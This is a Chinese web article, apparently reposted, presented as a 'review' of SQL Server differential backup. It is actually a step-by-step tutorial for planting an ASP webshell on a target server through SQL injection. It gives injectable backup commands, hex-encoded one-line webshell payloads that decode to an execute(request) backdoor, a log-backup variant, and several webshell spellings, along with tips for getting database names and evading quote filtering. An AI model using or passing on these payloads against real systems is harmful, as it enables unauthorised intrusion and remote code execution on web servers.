• 企业400电话
  • 微网小程序
  • AI电话机器人
  • 电商代运营
  • 全 部 栏 目

    企业400电话 网络优化推广 AI电话机器人 呼叫中心 网站建设 商标✡知产 微网小程序 电商运营 彩铃•短信 增值拓展业务
    复习一下sql server的差异备份
    MSSQL差异备份,就是和前一次备份作对比,把不一样的内容备份下来,这样,只要前一次备份后,插入新的内容,差异备份就可以把刚插入的内容备份出来,而这个备份文件将大大减少,得到webShell的成功也提高了不少! 

    差异备份的流程大概这样:
    1.完整备份一次(保存位置当然可以改)
    backup database 库名 to disk = 'c:\ddd.bak';--

    2.创建表并插曲入数据
    create table [dbo].[dtest] ([cmd] [image]);
    insert into dtest(cmd) values(0x3C25657865637574652872657175657374282261222929253E);--

    3.进行差异备份
    backup database 库名 to disk='目标位置\d.asp' WITH DIFFERENTIAL,FORMAT;--

    上面
    0x3C25657865637574652872657175657374282261222929253E
    就是一句话木马的内容:%execute(request("a"))%>

    如下是网上常见的差异备份代码,思路一样!
    ===================================================
    利用差异备份提高提高backupwebshell的成功率,减少文件大小
    步骤:
    declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s

    create table [dbo].[xiaolu] ([cmd] [image]);

    insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)

    declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL,FORMAT

    0x77006F006B0061006F002E00620061006B00为wokao.bak
    0x3C25657865637574652872657175657374282261222929253E是%execute(request("a"))%>
    0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000是e:\web\wokao.asp

    声明:方法不是我想的,我只是写工具,默认得到shell是
    %execute(request("a"))%>
    ===============================================================

    我发现上面代码,有时会无效,而直接用

    backup database 库名 to disk = 'c:\ddd.bak'

    create table [dbo].[dtest] ([cmd] [image]);
    insert into dtest(cmd) values(0x3C25657865637574652872657175657374282261222929253E)

    backup database 库名 to disk='目标位置\d.asp' WITH DIFFERENTIAL,FORMAT;--

    却可以成功,所以把最原始的方法写出来!思路是前人所创,这不说大家也知道的!

    库名 必须要有效的库名,一般注入工具都可以得到!如果某站过滤 "‘",就要把字符内容转为数值了!


    网上还有log增量备份的,我也把他记录一下
    =====================================================
    另一种log增量备份技术:

    ';alter database null set RECOVERY FULL--

    ';create table cmd (a image)--

    ';backup log null to disk = 'f:\cmd' with init--

    ';insert into cmd (a) values (0x3C2565786563757465287265717565737428226122292
    9253EDA)--

    ';backup log null to disk = '备份路径'--

    PS:0x3C2565786563757465287265717565737428226122292
    9253EDA 是一句话小马16进制转来的

    说到一句话马,还可以有这么几种写法:

    a).%%25Execute(request("a"))%%25>
    b).%Execute(request("a"))%>
    c).%>%execute request("a")%>%
    d).script language=VBScript runat=server>execute request("a")/script>
    e).%25Execute(request("a"))%25> 
    您可能感兴趣的文章:
    • C#实现MySQL命令行备份和恢复
    • C#实现的SQL备份与还原功能示例
    • c#使用file.copy实现文件备份示例
    • Python 实现文件的全备份和差异备份详解
    • Python实现网站文件的全备份和差异备份
    • sqlserver 手工实现差异备份的步骤
    • 提权思路之MSSQL差异备份取系统权限
    • MSSQL差异备份取系统权限的相关软件下载
    • C#写差异文件备份工具的示例
    上一篇:SQL语句去掉重复记录,获取重复记录
    下一篇:SQL中object_id函数的用法
  • 相关文章
  • 

    © 2016-2020 巨人网络通讯 版权所有

    《增值电信业务经营许可证》 苏ICP备15040257号-8

    复习一下sql server的差异备份 复习,一下,sql,server,的,差异,